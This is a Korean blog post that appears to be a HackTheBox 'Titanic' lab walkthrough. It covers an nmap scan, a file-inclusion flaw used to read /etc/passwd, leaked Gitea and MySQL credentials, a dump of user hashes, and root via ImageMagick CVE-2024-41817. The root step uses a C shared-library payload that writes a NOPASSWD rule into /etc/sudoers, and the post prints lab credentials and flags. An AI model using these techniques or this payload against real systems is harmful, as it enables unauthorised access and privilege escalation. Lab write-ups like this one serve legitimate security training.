Port Scan
Host is up (0.36s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_ 256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open http Apache httpd 2.4.52
| http-server-header:
| Apache/2.4.52 (Ubuntu)
|_ Werkzeug/3.0.3 Python/3.10.12
|_http-title: Titanic - Book Your Ship Trip
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 473.70 seconds
- SSH와 HTTP가 열려있다.
HTTP 서버에 접속하기 전에 해야 할 것
- `/etc/hosts`에 `10.10.11.55 titanic.htb`추가하기
User Flag

웹 사이트는 이렇게 생겼다
burp suite를 통해 살펴보자.

데이터를 전송하면, 응답으로 /download디렉터리에서 json파일을 다운로드한다.
여기서 File Inclusion이 발생한다.
`/etc/passwd`를 출력시켜 보자.

developer라는 계정이 있다는 것을 알 수 있다.

user flag를 알아내고 말았다.
Root Flag
먼저 `/etc/hosts`파일을 살펴보자.

`dev.titanic.htb`라는 새로운 URL을 발견했다.
Gitea를 사용하여 Github를 호스팅 하고 있는데, 2개의 저장소가 있는 것을 알 수 있다.


각 저장소를 살펴본 결과
경로 - developer/docker-config/mysql/docker-compose.yml
services:
mysql:
image: mysql:8.0
container_name: mysql
ports:
- "127.0.0.1:3306:3306"
environment:
MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!'
MYSQL_DATABASE: tickets
MYSQL_USER: sql_svc
MYSQL_PASSWORD: sql_password
restart: always
경로 - developer/docker-config/gitea/docker-compose.yml
services:
gitea:
image: gitea/gitea
container_name: gitea
ports:
- "127.0.0.1:3000:3000"
- "127.0.0.1:2222:22" # Optional for SSH access
volumes:
- /home/developer/gitea/data:/data # Replace with your path
environment:
- USER_UID=1000
- USER_GID=1000
restart: always
`/home/developer/gitea/data`에 뭐가 있을 것 같다.
Gitea `/data/` 디렉터리 구조
/data/
├── git/
│ └── repositories/ # 모든 Git 리포지토리 데이터 저장 (예: user/repo.git)
│ └── <user_or_org_name>/
│ └── <repo_name>.git/
├── gitea/
│ ├── conf/ # Gitea의 주요 설정 파일 (app.ini) 및 사용자 정의 파일
│ │ └── app.ini
│ ├── gitea.db # SQLite 데이터베이스 파일 (SQLite 사용 시)
│ ├── indexers/ # 코드 검색 (Bleve) 및 이슈 인덱서 데이터
│ │ ├── issues.bleve/
│ │ └── code.bleve/
│ ├── lfs/ # Git Large File Storage (LFS) 데이터
│ ├── log/ # Gitea 서버 로그 파일 (gitea.log, http.log, xorm.log 등)
│ │ └── gitea.log
│ ├── sessions/ # 사용자 세션 데이터 (파일 기반 세션 사용 시)
│ └── attachments/ # 이슈, 댓글, 릴리스 등에 첨부된 파일
├── ssh/ # Gitea에서 사용하는 SSH 키페어 및 `authorized_keys` 관련 파일
│ └── authorized_keys
│ └── gitea-ssh-host-key
│ └── gitea-ssh-host-key.pub
└── tmp/ # 임시 파일 저장소
출처: Gemini
`/home/developer/gitea/data/gitea/conf/app.ini`

`/data/gitea/gitea.db`라는 db파일이 있고, sqlite3을 사용한다.
db파일을 다운로드하고, sqlite3로 열어보자.

. tables를 입력해 user 테이블이 있는 것을 확인했고
`SELECT * FROM user`를 통해 아래 데이터를 얻었다.
1|administrator|administrator||root@titanic.htb|0|enabled|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d
2dfc063b2406ac9207c980c47c5d017136|pbkdf2$50000$50|0|0|0||0|||70a5bd0c1a5d23caa49030172cdcabdc|2d149e5fbd1b20cf31db3e3c6a28f
c9b|en-US||1722595379|1722597477|1722597477|0|-1|1|1|0|0|0|1|0|2e1e70639ac6b0eecbdab4a3d19e0f44|root@titanic.htb|0|0|0|0|0|0
|0|0|0||gitea-auto|0
2|developer|developer||developer@titanic.htb|0|enabled|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5
dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|0|0|0||0|||0ce6f07fc9b557bc070fa7bef76a0d15|8bf3e3452b78544f8bee9400d6936d34
|en-US||1722595646|1722603397|1722603397|0|-1|1|0|0|0|0|1|0|e2d95b7e207e432f62f3508be406c11b|developer@titanic.htb|0|0|0|0|2
|0|0|0|0||gitea-auto|0
- administrator, developer계정에 대한 정보를 찾았다.
- ID : developer
- PW : 25282528
SSH로 접속해 보자.
developer@titanic:~$ ls -l /opt/scripts/
total 4
-rwxr-xr-x 1 root root 167 Feb 3 17:11 identify_images.sh
developer@titanic:~$ cd /opt/scripts/
developer@titanic:/opt/scripts$ ls
identify_images.sh
developer@titanic:/opt/scripts$ cat identify_images.sh
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
`magick`에서 취약점이 발생한다.
developer@titanic:/opt/scripts$ magick --version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml z
lib
Compiler: gcc (9.4)
ImageMagick은 이미지 처리에서 널리 사용되는 강력한 도구이지만, 그 복잡성 때문에 지속적으로 보안 취약점이 발견될 수 있습니다. ImageMagick 7.1.1-35 버전 역시 예외는 아닙니다.
ImageMagick 7.1.1-35에 직접적으로 영향을 미치는 것으로 알려진 주요 취약점 (CVE-2024-41817)이 있습니다.
- CVE-2024-41817: Arbitrary Code Execution (임의 코드 실행)
- 설명: `AppImage` 버전의 ImageMagick 7.1.1-35 이전 버전에서 `MAGICK_CONFIGURE_PATH` 및 `LD_LIBRARY_PATH` 환경 변수를 설정할 때 빈 경로를 사용할 수 있는 문제가 발견되었습니다. 이는 ImageMagick이 악성 설정 파일이나 공유 라이브러리를 현재 작업 디렉터리에서 로드하여 임의 코드 실행으로 이어질 수 있습니다.
- 영향: 공격자가 이 취약점을 성공적으로 악용하면, ImageMagick이 실행되는 시스템에서 임의의 명령을 실행할 수 있게 됩니다. 이는 데이터 유출, 무단 액세스, 그리고 시스템의 추가적인 악용으로 이어질 수 있는 심각한 결과를 초래합니다. 특히 웹 서버와 같이 신뢰할 수 없는 입력을 처리하는 환경에서 위험합니다.
- 해결: 이 취약점은 ImageMagick 7.1.1-36 버전에서 수정되었습니다. 따라서 7.1.1-35 버전을 사용하고 있다면 **최신 버전 (7.1.1-36 이상)**으로 업데이트하는 것이 가장 중요합니다.
※ 출처 : Google Gemini
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("echo 'developer ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers");
}
developer@titanic:/opt/app/static/assets/images$ find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/
magick identify >> metadata.log
-bash: metadata.log: Permission denied
developer@titanic:/opt/app/static/assets/images$ sudo cat /root/root.txt
89b3b23a3f6fb19d1212c3f6a5a96e24'HackTheBox' 카테고리의 다른 글
| [HTB] Cap (1) | 2025.06.10 |
|---|---|
| [HTB] Unified (0) | 2023.03.29 |
| [HTB] Vaccine (0) | 2023.03.25 |
| [HTB] Oopsie (0) | 2023.03.23 |
| [HTB] ArcheType (0) | 2023.03.23 |